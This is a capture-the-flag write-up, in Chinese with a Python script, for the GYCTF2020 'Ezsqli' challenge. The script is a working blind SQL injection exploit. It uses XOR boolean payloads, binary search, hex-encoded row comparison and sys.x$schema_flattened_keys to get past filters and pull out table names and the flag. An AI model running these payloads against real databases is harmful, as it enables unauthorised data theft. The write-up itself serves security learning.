[GYCTF2020]Ezsqli
时间:2021-07-01 10:21:17
帮助过:29人阅读
coding:utf-8
import requests
import time
url =
‘http://14b858fa-e701-47da-a11a-304ef60eb42d.node3.buuoj.cn/‘
def str_hex(s):
#十六进制转换 fl ==> 0x666c
res =
‘‘
for i
in s:
res += hex(ord(i)).replace(
‘0x‘,
‘‘)
res =
‘0x‘ +
res
return res
res =
‘‘
for i
in range(1,200
):
print(i)
left = 31
right = 127
mid = left + ((right - left)>>1
)
while left <
right:
#payload = ‘1^(ascii(substr(database(),{},1))>{})‘.format(i,mid) #爆库
#payload = ‘1^(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys),{},1))>{})‘.format(i,mid) #爆表
#payload = ‘1^(ascii(substr((select group_concat(flag) from f1ag_1s_h3r3_hhhhh),{},1))>{})‘.format(i,mid) #猜测f1ag_1s_h3r3_hhhhh中的列名为flag
key = (str_hex(res+
chr(mid)))
payload =
"1 ^ ( (select 1,{}) > (select * from f1ag_1s_h3r3_hhhhh))".format(key)
data =
{
‘id‘:payload
}
r = requests.post(url = url, data =
data)
if r.status_code == 429
:
print(
‘too fast‘)
time.sleep(2
)
if ‘Nu1L‘ in r.text:
left = mid + 1
elif ‘Nu1L‘ not in r.text:
right =
mid
mid = left + ((right-left)>>1
)
if mid == 31
or mid == 127
:
break
#res += chr(mid) #爆表
res += chr(mid-1)
#爆flag
print(str(mid),res)
#give_grandpa_pa_pa_pa
#news,users,f1ag_1s_h3r3_hhhhh,users233333333333333
#flag{8ebdb3ac-1d0e-47f3-82d5-ef5b4d20fe70}
因为or被过滤了,information_schema库用不了,使用sys.x$schema_flattened_keys来爆表名
flag的获取有两种方法
第一种:
直接猜f1ag_1s_h3r3_hhhhh中的列名为flag
第二种:
爆破
关键payload
1 ^ ( (select 1,1) > (select * from f1ag_1s_h3r3_hhhhh))
这里的1用来探测列数,通过删减1的个数来探测列的数量
1 ^ ( (select 1,‘f‘) > (select * from f1ag_1s_h3r3_hhhhh))
原理:
- 按位去比较,如果爆破字符与flag的第一个字符相等,就向后继续,大了小了都要继续当前的循环,直到找到合适的字符
- 当小于等于f的时候,是1^0,回显Nu1L,当大于f,即g之类的字符时,是1^1,返回Error Occured When Fetch Result.
- 所以最后的mid要减一才是正确的字符
- 这里我们传入十六进制,mysql会自动将十六进制转为字符
- mysql不区分大小写,比较的时候O(0x4f)的ascii比f(0x66)的ascii小,但是比较的结果是O比f大
参考
https://www.gem-love.com/ctf/1782.html
http://www.gr0wth.top/index.php/2020/03/31/gyctf2020ezsqli/
[GYCTF2020]Ezsqli
标签:color 两种 http 用不了 过滤 脚本 select request sci